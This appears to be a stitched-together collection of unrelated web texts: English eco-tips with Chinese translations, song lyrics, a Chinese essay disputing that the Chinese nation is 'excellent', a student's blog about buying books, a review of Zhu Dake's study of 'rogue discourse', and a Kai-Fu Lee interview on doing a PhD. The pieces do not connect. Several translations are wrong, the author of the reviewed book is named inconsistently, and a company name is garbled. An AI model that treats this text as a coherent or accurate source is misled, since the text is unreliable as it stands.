Use a clothesline instead of a dryer whenever possible 尽可能使用晾衣绳，而不是烘干器。
You can save 700 pounds of carbon dioxide when you air dry your clothes for 6 months out of the year.
Unplug electronics from the wall when you’re not using them 不用电器的时候要把插头拔下
Even when turned off, things like hairdryers, cell phone chargers and televisions use energy. In fact, the energy used to keep display clocks lit and memory chips working accounts for 5 percent of total domestic energy consumption and spews 18 million tons of carbon into the atmosphere every year!
Insulate and weatherize your home 房屋墙壁选用好的隔热材料，并且及时补漏。
Properly insulating your walls and ceilings can save 25% of your home heating bill and 2,000 pounds of carbon dioxide a year. Caulking and weather-stripping can save another 1,700 pounds per year. The Consumer Federation of America has more information on how to better insulate your home.
Be sure you’re recycling at home 家庭垃圾要回收
You can save 2,400 pounds of carbon dioxide a year by recycling half of the waste your household generates. Earth 911 can help you find recycling resources in your area.
Buy recycled paper products 购买可再生的纸质产品
It takes less 70 to 90% less energy to make recycled paper and it prevents the loss of forests worldwide.
Plant a tree 种树 Get a home energy audit 使用家庭能源审计
Many utilities offer free home energy audits to find where your home is poorly insulated or energy inefficient. You can save up to 30% off your energy bill and 1,000 pounds of carbon dioxide a year. Energy Star can help you find an energy specialist.
Switch to green power 转向绿色能源
In many areas, you can switch to energy generated by clean, renewable sources such as wind and solar. The Green Power Network is a good place to start to figure out what’s available in your area.
Buy locally grown and produced foods 买本地种植或生产的食物
The average meal in the United States travels 1,200 miles from the farm to your plate. Buying locally will save fuel and keep money in your community.
Buy fresh foods instead of frozen 买新鲜食品，不买冷冻的。
Frozen food uses 10 times more energy to produce.
Seek out and support local farmers markets 支持当地的农业市场
They reduce the amount of energy required to grow and transport the food to you by one fifth. You can find a farmer’s market in your area at the USDA website.
Avoid heavily packaged products 避免过多包装的产品
You can save 1,200 pounds of carbon dioxide if you cut down your garbage by 10%.
Eat less meat 少吃肉
Methane is the second most significant greenhouse gas and cows are one of the greatest methane emitters. Their grassy diet and multiple stomachs cause them to produce methane, which they exhale with every breath.
Start a carpool with your coworkers or classmates 和你的同学或朋友一起乘公车
Sharing a ride with someone just 2 days a week will reduce your carbon dioxide emissions by 1,590 pounds a year. eRideShare.com runs a free national service connecting commuters and travelers.
Keep your car tuned up 让你的车子协调起来
Regular maintenance helps improve fuel efficiency and reduces emissions. When just 1% of car owners properly maintain their cars, nearly a billion pounds of carbon dioxide are kept out of the atmosphere.
When it is time for a new car, choose a more fuel efficient vehicle 买新车的时候选择节能型
You can save 3,000 pounds of carbon dioxide every year if your new car gets only 3 miles per gallon more than your current one. You can get up to 60 miles per gallon with a hybrid! You can find information on fuel efficiency here and here.
Fly less 少坐飞机
Air travel produces large amounts of emissions so reducing how much you fly by even one or two trips a year can reduce your emissions significantly. You can also offset your air travel by investing in renewable energy projects.
I Need to Wake Up
Have I been sleeping?
I've been so still afraid of crumbling
Have I been careless?
Dismissing all the distant rumblings
Take me where I am supposed to be
To comprehend the things that I can't see
'Cause I need to move
I need to wake up
I need to change
I need to shake up
I need to speak out
Something's got to break up
I've been asleep
And I need to wake up now
And as a child
I danced like it was 1999
My dreams were wild
The promise of this new world
Would be mine
Now I am throwing off the carelessness of youth
To listen to an inconvenient truth
That I need to move
I need to wake up
I need to change
I need to shake up
I need to speak out
Something's got to break up
I've been asleep
And I need to wake up now
I am not an island
I am not alone
I am my intentions
Trapped here in this flesh and bone
And I need to move
I need to wake up
I need to change
I need to shake up
I need to speak out
Something's got to break up
I've been asleep
And I need to wake up now
I want to change
I need to shake up
I need to speak out
Or, something's got to break up
I've been asleep
And I need to wake up now
如果中国电视台的有奖问答题的题目是“中华民族是一个优秀民族吗？”相信绝大多数的中国人会异口同声地答道：“肯定是。”这时电视台的头牌花旦唐小鸭小姐会面带甜美的微笑说：“恭喜你，答对了。”
之所以得出这样的结论，是因为我们国家的教科书上、报纸上、电视中、甚至专家学者们都是这样说的，且在讲解的时候举出了几百条例子来证明：“中华民族是世界上最优秀的民族。”
但老狼对“中华民族是一个是优秀民族”的说法却有太多的疑问，现提出来就教于广大网友：评判一个民族是否优秀的标准是什么？
有网友把一场战争的胜败作为衡量民族优劣的标准，说什么：德国两次世界大战战败，不算优秀，法国在二战时一个月就亡国了，不算优秀……这样 说，只能说明他对优秀民族的概念是模糊的。其实以战争的胜败来判定民族的优劣是完全错误的。当年拿破伦横扫欧洲时，法兰西民族并不比欧洲各民族优秀一等， 德意志民族两次世界大战中一败再败，也不能说日耳曼人就不优秀。东晋时期，鲜卑族一统中国北方，可你要说鲜卑族是优秀的，连他的皇帝也不敢承认，要彻底汉 化。成吉思汗铁蹄横扫欧亚大陆，忽必烈屠灭南宋时，游牧部落的蒙古族难道真的就比战败的欧亚各民族和中华民族优秀？……打个比方：一个博士生被一个市井无 赖按在地上痛打一顿，你能说这个市井无赖是优秀的？
有网友说在三百年以前的几千年中华民族是优秀的民族，只是后来落伍了。这种观点也不一定恰当。一个优秀民族应具有多方面的优秀素质，而优秀 素质的形成，有一个必要的条件：统治者必须给予人民一个宽松的政治环境，让这个民族的知识分子们有独立思考的权力。中华民族几千年来有这样一个宽松的政治 环境吗？读书人有独立思考的权力吗？自秦始皇焚书坑儒后，中国的知识分子们被统治者的残忍吓破了胆，从此闭上了鸟嘴，谨言慎行。汉武帝独尊儒术后，知识分 子们就丧失了独立人格，其最大的追求是为皇帝们当差，去帮皇帝治国平天下。倒是中华民族的农民们有种，敢喊什么“皇帝轮流做，明年到我家。”可这样一来， 中华民族又进入了历史恶性循环的怪圈……
有网友说中国人聪明，就是优秀民族。这是错把智商当成优秀民族的评选标准了。其实地球上各民族的智商相差无几。汉族的智商与大和民族的智商是一样的。但全世界公认的是：大和民族是优秀的。
网友们都是学生出身，在学校评“优秀学生”要讲个“条件”，要满足什么“德、智、体、美、劳”的全面发展。开放的世界流行“选美”，世界选美 委员会给未来的世界小姐制定了什么三围、模样、气质、言谈举止、教育程度、服装搭配……等多个标准。同理，一个民族要想成为一个“优秀民族”也应具备一些 基本的素质。老狼闲来无事，在家中闭门造车，单方面给“优秀民族”制定了十多条“标准”。这十多条标准有无“可操作性”，请网友们自鉴。
一、优秀的民族不应有压制不同观点的权力构架。中国自秦始皇以来就是这样一个权力构架。在这个权力构架下，子民们就老老实实地吃饭睡觉，不 得胡思乱想，更不能发杂音。在这样的体制下，一个智商高的人活着就是一种痛苦，因为他只有四条路可走：要么考状元去给皇帝当个差，为皇帝老儿镇压有不同思 想的人。但皇帝招奴才的名额很少，只有极少数人有当皇帝奴才的命；要么一天无所事事地提一壶酒，对着风花雪月“啊！啊！”地一咏三叹，然后大醉一番；要么 就“采菊东南下，悠然见南山”，作个世外高人；要么就在哪个权贵的屋檐下当个师爷之类的东西，去为五斗米折腰。那些想给皇帝当差又考不上状元的人，只有一 辈子皓首穷经，寻章摘句，注释子集，盼望来世去给皇帝做个奴才。
二、优秀的民族在自然科学和社会科学领域有创新的精神。中华民族自秦始皇焚书坑儒，和汉武帝“独尊儒术”后，没有任何创新精神。自然科学领 域在“四大发明”以后，没有下文。社会科学领域在战国以后，只有儒家。“孔家店”被皇家封为“千年老店”后，再也没有一个人敢开“新店”，皇帝更不准谁去 开个“新店”。这孔丘“独家垄断”中华民族思想领域几千年，不成“圣人”那才是怪事一桩。
三、优秀的民族不自高自大，“好汉不提当年勇。”中华民族在世人面前开口闭口“我的祖先如何如何，”引为自豪，从没想过面对今天的世界自己 该做些什么，该怎么做。其实中华民族的祖先并不怎样，没有多少可值得骄傲的东西。几千年历史能给后世子孙挣点脸面的只有一些被后人冠之为“文学艺术”的东 西，如呤风弄月的才情、怀才不遇的感叹、闺情怨妇的惆怅、市井生活的百态等等。再就是祖坟山里挖出的一些坛坛罐罐。其它就没有什么了。那几千年历史上留下 的几百次的战争、流血、杀戮、自相残杀、无数冤狱和无数次文明被毁灭的记录，不知后世子孙们是否也感到脸上有光？抬出祖宗来炫耀，只能说明后世儿孙们自卑 感太强，觉得在世人面前抬不起头来，万般无奈，出此下策，给自己长脸。
四、优秀的民族有一个“人人平等”的社会氛围，他的子民们没有高低贵贱之分。中国社会的有形等级和无形等级；成文的等级和不成文的等级之 森严，在这世界上不算“老大”也算“老二”。从古至今的中国是尊卑有序：官场上小官在大官面前只能低头唯唯诺诺，不得抬头正眼看人。子民们在当官面前只能 下跪，不能站着。这次万州事件就是官员们不把百姓当人而引发的。就是普通的子民们也分几等：北京人等级最高，这个城市的人在说“咱是北京人”几个字时，那 洋洋得意的神情，足令人恶心十年。其次是上海人、各大省会城市人、中等城市人、县城人、镇上人，最底层就是农民们。农民们出个门，他的“身份证”都没用， 得花钱买那个劳什子的“暂住证”。小小老百姓想提高自己的身价的话，只有往大城市“钻”。这样一来，公仆们又发现了一个圈钱的“新大陆”：“户口变钱 卖。”哇噻！实实在在的中华民族一大“怪”！
五、优秀的民族发现自己走错路时会及时回头。可中华民族是明知道错了，决不认错，要一错到底。一条道走到黑，决不回头。五八年的大跃进，五 九年就知道错了，但决不改正，要再错三年再说。有时也想改正，可又顾及脸面，总是羞羞答答，象个娘们儿，生怕被人耻笑。一边忸忸捏捏地慢慢改，一边嘴硬： “我没有错，我是在调整！”结果是“调整”几十年，也调整不过来。
六、优秀的民族对其他民族的长处不排斥，而是虚心学习。中华民族是总觉自己什么都比别人好，对别的民族的长处是不屑一顾，从来不学，学别人 的东西就是丢人现眼。有时也想学，但得发个声明：别臭美啦！我不是在学你们，我是在“摸屁股走路”，自创“样板”，到时你们得来学我！有了这个声明后，在 学别人长处的同时，总要把自己的私货往里塞，结果搞了个不中不西的、不土不洋的、不伦不类的、不知道是个什么的东东出来！问题比没“摸屁股”前还要严重得 多。
七、优秀的民族顺应历史潮流，决不逆历史潮流而动。中华民族面对世界浩浩荡荡的民主进步潮流视而不见，依然故我……不敢细说，犯忌了。
八、优秀的民族不护短，正视自己的不足。中华民族却报喜不报忧，饿死几千万时，还是形势一片大好。有了什么问题，怎一个“捂”字了得，报纸、 电视从来没说过民族有什么危机、国家有什么问题，只是一个“好”。前天中央台新闻播报了一个好消息：农民们今年的人均收入预计可达二千二百多元，比去年增 长百分之四。这就是中国现阶段的“小康”？这就是宋祖英女士唱的“好日子”？这就是人均GDP一千美元时的生活水准？
九、优秀的民族有开拓进取精神，中华民族几千年来没有开拓进取精神，中华民族在自己的土地上多是被动挨打，少有主动出击。皇帝们大多数只想 守好自己的一亩三分地，少有想过要扩大疆域。汉武帝的主动出击是在被多次骚扰的情况下不得已而为之，仗打胜了后，树个碑：“汉武帝某年某月到此一游。”又 撤回原来防地。郑和下西洋只想扬大明国威，没想过要去发现新大陆开辟新领地。倒是中华民族中的少数民族的开拓进取精神令汉族汗颜。他们数次地把自己的牧场 扩大到整个汉族版图。不过他们入主中原后，一但汉化，又与汉族一样没有了开拓进取精神，变成了一个只想守“一亩三分地”的地主老财。等到别人打上门时，再 把土地、儿女拱手相送。
十、优秀民族具有理性。中华民族是一个没有理性的民族。从古至今中华民族讲的不是一个“公理”，而是“人情世故”。一讲人情世故，这就复杂 了。本该公事公办的，成了公事“情”办，公事“钱”办。现状是：学校老师教学生是正理，不给老师送礼，老师就不会关照你；医院病员看病天经地义，可做手术 不送红包就别想医生会理睬你；国家建设工程招标是公理，可你不送钱给领导，这工程就不会给你；……这样一来，腐败的滋生就是理所当然的事。一个讲人情世故 不讲理性的民族，与“优秀”二字相去十万八千里。
十一、优秀民族是一个开放的民族。中华民族是一个封闭的民族。几千年来，中国对外界的事少有知道，除了张骞出使西域外，没有那个朝代的皇帝 想派人主动出去了解世界。倒是其他国家多次“遣使来朝”，对中华民族的了解更多些。就是东邻的小日本从古到今还多次派人到中华，可中华何曾派过人到日本去 刺探过一点“情报”？鉴真和尚东渡还是个“自费出国”，而非“公派”。自我的封闭，造成了对外界的一无所知。我们引为自豪的康、乾盛世只是人口和农业的 “盛世”，在其他方面大清朝与当时欧洲列强的差距是很大了，但我们不知道，仍以天朝大国自居，英国使者来了，还要别人对自己行跪拜大礼。结果几千英国鬼子 远渡重洋，把四亿人的大清朝打了个屁滚尿流，这才知道原来自己是个“劣等”的。现在的中国，上层对世界算是有一个大概的了解。但世界的真相有些还得对老百 姓保守秘密、慎之又慎，总是藏着掖着的。这样又产生了愤青一族：总以为中华民族不得了的了不得，老子天下第一，可以见谁灭谁。可悲！
十二、优秀的民族做事都雷厉风行。中华民族一件事几十年、几百年、甚至几千年都干不完，干不好。中国的改革已二十多年了，但还没改好，要 “深化改革”。同一件事在东欧和前苏联，就那几年，一下改完，现在不讲深化改革，而是讲的发展。中国的政治体制改革从光绪皇帝开始，一百多年了，还在起点 上。更令人叫绝的是土地改革。老狼在史书上见两千多年前的王莽皇帝就在搞土改；后来的历朝历代新皇帝也在搞土改；孙中山先生闹革命也喊“耕者有其田”；红 色革命时也在“打土豪、分田地”；可直到现在，这土地还不是农民的……。真让人哭笑不得。不过，这样也好，免得公务员们没事干了会失业。
十三、优秀的民族不会在历史灾难的怪圈中反复循环。可我们的中华民族两千多年来，一直在“束缚人民的思想、经济发展缓慢，社会制度难以变 革，贪官污吏层出不穷，农民造反绵绵不断，经济、文化惨遭破坏，再建立新的王朝。再束缚人们的思想……”的历史怪圈中无始无终地、没有尽头地循环。
十四、优秀的民族闻过则喜。中华民族闻过则骂：“诽谤、诬蔑、丑化伟大的中华民族”、“卖国贼”、“反动派。”如果有哪个外国人赞扬了中国 人一句，马上就乐得屁颠屁颠。其实赞扬中华民族的外国人有些是因为做客中国，不说几句好话，脸面上过不去。有的是不怀好意，例如当年中国从日本新日制铁引 进宝钢全套设备，参与谈判的日方代表对中国大大赞扬一翻，中方代表高兴得忘乎所以，日本利用当时的中国人不懂业务，狠狠的啃了中国一口，等到中国人反应过 来后，悔之晚也。后来只有毁约，又赔了几十亿美元才了结。去年拳王经纪人唐金到中国，一下飞机就举个小旗旗儿喊：“爱拉乌解纳。”搞得中国记者们为他发 疯。后来才晓得他是在“爱拉乌解纳银行保险柜里的美元。”
十五、优秀民族一个错误只犯一次，最多两次。中华民族同一个错误一犯再犯。老皇帝犯了一个错误后，小皇帝接着犯，因为没有人敢对小皇帝说老皇帝是错的。他的孙皇帝再去“重复昨天的故事”；重孙皇帝又“涛声依旧”，……就象挖山不止的愚公，子子孙孙没有穷尽。
十六、优秀民族脚踏实地，不幕虚荣，不为了脸面什么都不顾。中华民族把一个脸面看得比什么都重。广大农村儿童没钱读书没关系，得每年花几十个亿去挣几个劳什子金牌回来长脸……
十七、优秀民族会把世界和本国的真相告诉他的人民。可中华民族的子民们对国家的事、世界的事知道多少？别说国家大事了，老狼在国营企业上班，除了知道每天上班下班外，什么都不知道。天知道那一天有人突然宣布：这个公司破产了。老狼也只有去喝西北风。
十八、优秀民族有优胜劣汰的竞争机制。中华民族有一个劣胜优汰的机制……不敢细说，犯忌。
十九、优秀民族的教育目标是培养高素质的人才，提高全民族的文化水平。中华民族的教育目标是让中国人从娃娃起就听话，也不管是对是错！
别说啦，越说老狼心里越是气！
中华民族你就这么个“素质”，就不要再自我吹嘘是什么“优秀民族”了。
中华民族因其历史的悠久而伟大，但“伟大”不等于“优秀”。中国人民是勤劳、勇敢、纯朴、善良的，但这些美德又成了封建专制在中国一统几千年的理由。中华民族对人为制造的苦难的忍耐程度是世界第一的，可忍受的结果却是中华民族前进的步伐出奇的缓慢……
努力吧！在世界各民族面前“挣点表现”吧！也许若干年后，联合国选美委员会就把“优秀民族”的桂冠戴在中华民族的头上。
考试还在继续中，钱包已经薄了很多。
去年年底经历了成年以来最严重的一次经济危机，差点要借钱过日子了。“山穷水尽疑无路，柳暗花明又一村”。在2006年最后一天，降临的不再仅仅是希望，而是Money，Money，Money。
很幸运能够拥有这笔“新生奖学金”，既是鼓励，又是鞭策吧。
有了钱，当然先要腐败，这些日子天天吃饭店，没想到才一个学期就开始摆脱食堂了。
另外一部分钱主要用来买书了，列一下最近的书，做一个警醒吧，提醒自己书是好，读而无获就不好了。
《记忆的形式》
《革命道德》
《流氓的盛宴》
《容忍与自由：胡适演讲录》
《话语的闪电》
《伶人往事》
《现代化的陷阱-当代中国的经济社会问题》
《巴金最后32个春秋》
《酷儿理论》
《民主的历程：人文译丛》
近日看书，看到一段话，先转载如下：
、帝国主义、封建主义、还有什么其他主义，我们自身的责任呢？说到这里我还有一个假设，希望在可以遇见的未来，中国的历史可以进行不受干涉的反思，对于“社会主义”
对于中国是福是祸，对于人类是天堂还是地狱，应该有个新的说法。
题目有些炫了，我说的流氓是《流氓的盛宴》中的流氓。这是一本昨天花了高价买到的新书，出版两个月，作者张大可。老板骗我说书被禁了，我当然没有相信，我买这本书可决不是因为GCD的封禁。 几天前刚刚收获了张大可先生的另
一本书－《话语的闪电》。
这学期书买了很多，以致于一排书架早已放不下，开始冲击我专业书的空间了。但真正花高价买的书却屈指可数，似乎只有朱学勤和张大可先生的作品。在我为他们的文字和思想所着迷时，我发现我开始喜欢上海男人了。两位先生年龄相当
，经历相当，背景同样相当，都是上海人，目前也都在上海的高校就职，一想到可以在这样一个独特的城市和欣赏的学者有着共同的话语兴趣，是多么亲切和兴奋的事呀。
我们一代人都是流氓的人生，漂泊、反抗，面对着国家主义这个几千年的专制恶兽，我开始给自己思想上的流亡。我不想活在只有票子、房子、车子、妻子这样的生活中，我骨子里渴望自由，渴望人的尊严，渴望着我们整个民族的尊严。
转载书评：
朱大可： 当代负有盛名的文化批评家，学者，小说及随笔作家。祖籍福建武平客家。1957年生于上海。华东师范大学中文系毕业。澳大利亚悉尼理工大学哲学博士，悉尼 大学亚洲研究学院访问学者。现为同济大学文化批评研究所教授。崛起于上世纪80年代中期，曾是当时先锋文化的重要代言人，目前主要从事中国文化研究与批 评。
其著述有《燃烧的迷津》、《聒噪的时代》、《逃亡者档案》、《话语的闪电》、《守望者的文化月历》、《21世纪中国文化地图》（多卷）等。以新锐的思想和独特的话语方式见长，其见解在中国思想文化界富有影响，被认为是中国最优秀的批评家之一。
本书深入探讨了盛行于当代中国的流氓话语现象，是近年来中国思想界话语研究的罕见收获。朱大可把自己近8年异乡漂泊的生命体验，融入对流氓的理性探察中。
本书深入探讨了盛行于当代中国的流氓话语现象。当代中国分为两个社会，一个是国家社会，另一个则是无秩序、无信仰、无权威和无道德的流氓社会，它以离开土地的两亿流民为基础，成为当代中国的隐形属性。
本书以身份理论为逻辑前提，以流氓话语为对象，以酷语、色语和秽语等为分析元素，对渗透在各种文化样式（小说、诗歌、美术、音乐及大众文化等）之中的流氓 叙事模式，展开了全面深入和独特新颖的阐释，令人信服地揭示了流氓话语的基本特征。读罢令人耳目一新。是流氓学研究的重大突破，也是近年来中国思想界话语 研究的罕见收获。
书评：朱大可发现了“流氓”美学文
我们不要被朱大可的“流氓”所吓倒。在朱大可的阐释框架中，“流氓”一词首先被还原为一个中性词，使“流氓”这个长期隐匿在认知暗处的、被各种话语肢解的文化景观显形为当下亟待厘清的学术议题。这样处理是非常必要的。
在朱大可的理论框架中，“流氓”具有宽阔的广义性，它泛指那些丧失土地、家园和灵魂的人，即身份丧失者，朱大可进一步将之定义为：“一个标准的流氓就是丧失了身份的离乡者，他持续地流走，并且保持了一个精神焦虑的容貌和社会反叛立场。”
在朱大可早年那篇著名文论《流氓的精神分析》中，朱大可描绘了古代中国三代流氓谱系，它包括丧地者流氓神明大禹、丧国者流氓英雄孔子、墨子、荆轲、李白、 杜甫，和丧本者流氓隐士或游戏者竹林七贤、唐寅等人。越过艰难的诗意般的迷思，朱大可最终为我们描绘出一副“流氓”的美学肖像：流氓是国家的江湖镜像。这 无疑是对中国流氓精神历史性的深度求解。历经十多年的反复书写，这篇文论集于今发展成《流氓的盛宴：当代中国的流氓叙事》。
这部学术著作并不企图建构理论体系，却分明有着沉重的思想力度，它甚至修正了关于中国历史上漫长专制主义社会的静态“超稳定”结构这一流行论断。在作者看 来，中国王朝的历史正是在国家主义/流氓主义、国家社会/流氓社会、极权状态/江湖状态之间振荡与摆动———这种耗散性的摆动获得一个动态稳定的型构，而 线性历史（国家）的总体进程中又隐含着大量分叉历史（流氓）的细节———国家主义和流氓主义的互动就此平分了中国历史，并维系了中国王朝的漫长生命。不 过，这一思想只能视为本书言说的遥远而艰深的背景，它重点阐释的毕竟还是当代中国话语中的流氓景象。
那么何谓“流氓话语”？按作者的解释，从历史上看，它乃是以所谓的“反讽话语”体系对抗国家主义“正谕话语”体系的自我书写，它大量使用酷语（暴力话 语）、色语（色情话语）和秽语（污言脏词），以期消解国家话语对意识形态的掌控。这种书写方式倒是可能指向个人自由主义的广阔语境，便于在各种话语领域表 达原创力量。作者分析的话语样本涉及当代文学、美术、影视、摇滚乐、建筑、网络文化诸门类，由此制造出一个当代中国庞杂的流氓话语谱系。一般而言，国家话语和流氓话语各自言说，泾渭分明。在某种情况下它们达成和解是可能的。类似的现象，朱大可称之为“流氓主义的“天鹅绒革命”。不过，它无可避免地象征着文化精神标杆的矮化———然而它拥有广阔的市场。正是流氓主义、国家主义和市场主义，构成了当下中国话语的普遍征候。显然，当身处这个话语变革的时代，我们的文化身份出了问题。
熟悉朱大可写作方式的人不难发现，他善于运用巴洛克式夸饰语言，能够把理性的批评议题生生玩成话语能指的盛宴。相对于国家主义学术的“正谕”面孔，朱大可的批评话语本身就属于他所阐释的流氓主义“学术”的一部分。一直以来，国家主义/流氓主义的对偶阐释框架，已深深嵌入到朱大可的批评话语实践中。在他手中，这一解读工具显得如此有效，人们大可称之为“流氓主义”文化批评。
在读了博士生远潇给本报的来信后，GOOGLE公司中国区总裁李开复说，有这些困惑和担心，实际上是很多博士生们在读博士之前并没有认真地想过，自己是不是能耐得住寂寞做学问，是不是能抵御来自物质世界的诱惑。
另外，如果读博士抱有“一顶博士帽能给自己找工作时加分”的想法，不仅会增加自己学习期间的痛苦，而且在找工作时会发现，博士头衔不能有多少优势后会更加失落。
由于是最早进入微软公司高管层的华人，又常常在高校亮相做巡回演讲，而且还在中国创办了“开复学生网”，给中国学生解答“大到人生观，小到如何学好英语”的各种问题，这使卡内基梅隆大学毕业的工科博士李开复，在中国高校学生中的名气不小。就博士生远潇的困惑，记者专访了李开复。
多问问自己为什么要去戴博士帽
“选择读博士就等于选择了在未来三五年，或者是更长的一段时间，你必须要成为孤独的人，要远离物质的花花世界，甚至要无数次承担失败或者不被学界认可的痛苦”。这就注定了不是每个人都具备能成为博士的潜质。在李开复看来，当你犹豫自己是不是要去读个博士之前，一定要向自己问问这些问题：
首先，你是不是有创新的热情。因为要取得博士学位，最后就得看你在某一领域的研究有没有突破和创新。如果你是一个墨守成规，不太富有挑战精神的人，那么做创新研究可能就不太适合你。
其次，要问问自己愿意孤独地追求知识吗？看到同学发财、出名，会羡慕、甚至感到痛苦吗？如果你是个物质欲比较强、对挣钱还有兴趣的人，或许你该去读个MBA，或者找一份好工作，而不是去读博士。
在美国，一个博士生毕业后可能能拿到10万美元的年薪，而一个MBA毕业后或许能拿到15万美元，但拿到博士学位要花上5年时间，或者更长，但MBA只要两年的时间，MBA的投入产出比要高一些。
第三，你愿意花很多时间拼命工作，即便你知道你正在探究的问题有可能在短时间内无解。如果你是一个很在意失败的人，那么读博士可能会使你的人生变得灰暗。
李开复说，只有当你肯定自己读博士确实是为了享受做学问、超越前人的乐趣时，才有可能愉快地度过学习生涯。
李开复回忆，他自己念博士的时候虽然有奖学金，但日子也不富裕，有时候假期也得出去打打工，但每个人在自己不同的生活阶段就应该享受不同阶段的乐趣，学生时代就应该是物质清贫，学习而快乐着的。
毕业时，你应该成为你研究领域中世界第一的专家
跨入博士生的门槛后，李开复建议，要给自己设计一个3年的学习和科研计划。首先，需要彻底地了解在相关领域他人已有的工作和成绩，然后再提出自己的想法和见解，脚踏实地工作。另外，还要不断跟踪这个领域的最新研究进展，把握好方向，避免重复性工作，把精力集中在最有价值的研究方向上。
李开复说，他至今还记得在他进入卡内基梅隆大学攻读计算机博士学位时，当时的系主任说的话：“当你拿到你的博士学位时，你应该成为你所从事的研究领域里世界第一的专家。”
这样的要求似乎对大多数刚刚起步的人来说都是高不可攀的，可李开复说，他本人正是确立了这样的目标，在经过五年寒窗、夜以继日的努力工作后，他所期待的结果就自然而然地出现了。
一个打算攻读博士学位的人，就应该给自己树立一个很高的目标。李开复想告诫博士生远潇：读博士不是一件轻松的事，切忌浮躁的情绪，而要一步一个脚印，扎扎实实地工作。也不可受一些稍纵即逝的名利的诱惑，而要200％地投入。也许你会疲劳，会懊悔，会迷失方向，但是要记住，你所期待的成功和突破也正孕育其中。
李开复回忆说，他在攻读博士学位时，每周工作7天，每天工作16个小时，大量的统计结果和分析报告几乎让人崩溃。他也曾不止一次地怀疑自己的所作所为是否真的能够成功，但终于有一天，在凌晨3时做出的一个结果让他感受到了成功的滋味。
“那种一切都很顺利，谁都可以得到的工作和结果，我相信研究价值一定不高。”李开复说，另外，一个人如果打算一辈子从事研究工作，那么从他在读博士学位期间所形成的做事习惯、研究方法和思维方式，基本上就可以判断出他未来工作的轮廓。所以，你一定要做一个“有心人”，充分利用在校的时间，为自己的将来打好基础。
你找的导师，最好有“我不赞成你，但我一定支持你”的胸怀
“在学术界，人们普遍认为‘名师出高徒’。可见导师在你的成长道路上作用是多么的大。”李开复建议说，在确定自己要开始读博士之后，应该主动去寻找自己所研究的领域里最好的老师，甚至应该去求教于周围能找到的专家，看看大家对你想选择的导师有怎样的评价，更不要忘了常去求教“最博学的老师”——互联网。
李开复说，他还鼓励准博士生们直接发电子邮件去咨询一些世界公认的专家和教授。以他的经验，对于这样的邮件，他们中的大部分人都会很快给回复。
李开复听到过一些博士生抱怨说，在3年的学习生涯中没有得到导师充分的指导。他把自己听到的案例归纳出了几类准博士们要慎重选择的导师。
有一类导师，有很多的项目，学生跟着这样的老师，3年的工夫大概都在替老师打工赚钱。这样的导师暂且看到他长处的一面，可能增加了学生的动手能力，但博士找工作，招聘的企业看的还是你作为博士的突破和研究能力，而不是你做过多少项目。
李开复说，这类导师中，有一种最恶劣的是，看到一些能干的学生能为自己做点事，即便到了毕业的时间也不让学生毕业，还要让学生多打几年工。所以在选导师之前，一定要多方打听导师的人品如何。
还有一类导师也被李开复认为是要当心的，这类导师虽然很安心做研究，但他几乎两耳不闻窗外事，研究思路和方向都是很落伍的，而且他给你选定的方向有可能早就被证明是过时的。李开复说，有的导师可能上了年纪，近年来也没有太多的研究成果，但这个老师人品不错，能允许和鼓励学生不同常规的想法，并且从方法论上能指导学生，这样的导师应该是可以选择的。 李开复多次在各种演讲和文章中提到他当年读博士时的导师。他说，虽然读博士期间，他的导师确实没有教给他有关他专业的知识，但是他能给学生大方向的指导，而且能毫不吝啬地与学生分享他在学术上的经营和他在学术界的各种资源。
李开复说，博士生导师或许就是那种没有太多时间给你，也不会给你太多具体而细节的指导，但他却有“我不赞成你，但我一定支持你”的胸怀。
戴上博士帽不等于就能一步跨进挣钱多的地方
有了博士的头衔不一定就等于增加了你找工作的砝码。李开复说，从他在微软和GOOGLE公司的招聘经历和他所了解的一些著名跨国公司在华招聘的情况来看，大家招聘博士的范围都会巧合地限定在国内排行前十几名的大学中。
李开复解释，一般大公司、尤其是IT类的企业在挑选本科生或者硕士研究生时，尺度是比较松的，即便有的硕士没有太多学术上的造诣，但只要拿出做过的像样的项目，一般也是会被认可的，但对博士就不同了。
李开复说，他在招聘博士时会仔细阅读应聘者的博士论文，因为对博士的水平评判就全靠这篇论文了，博士论文如果没有新意，或者观点方法陈旧，即使应聘者有再多的实践能力，做过再多的项目，也得不到认可。
正因为一些大公司在招聘时反而对博士的水平更加挑剔，所以李开复说，千万不要以为戴上博士帽就能找到好工作。
做个快乐的人最重要
最近李开复写了一篇文章，提到在21世纪企业喜欢什么样的人，其中他认为很关键的要素是，应聘的人是不是一个热爱工作、积极乐观的人。
李开复希望告诉远潇，即便现在有很多不如意和困惑，但还是要努力让自己成为一个快乐、积极的人。他希望把台湾企业家张忠谋的一个故事告诉远潇。
张忠谋是台基电的董事长，一次朋友请他题词，他给朋友写下了“常想一二”，朋友问他是什么意思。张忠谋说，“我们都说人生不如意之事十有八九，我要告诉你常想那剩下的一二比较如意的事情。”
张忠谋说，他从小就看了很多大人物的传记，发现了一个规律，凡是成功者都受苦受难，他们的生命几乎就是人生不如意事十有八九的真实写照。但是他发现这些人之所以能够成功，就是因为他们保持了正面的思考，通过“常想一二”，超越不愉快。苦难对他们来说反而成了生命中最好的养料，为他们未来的成功做了良好的铺垫。
李开复说，其实在21世纪，还有很多其他的理由要做一个乐观向上的人，因为21世纪有一个更实时善变的环境，我们尝试的事情会碰到很多很多的失败。
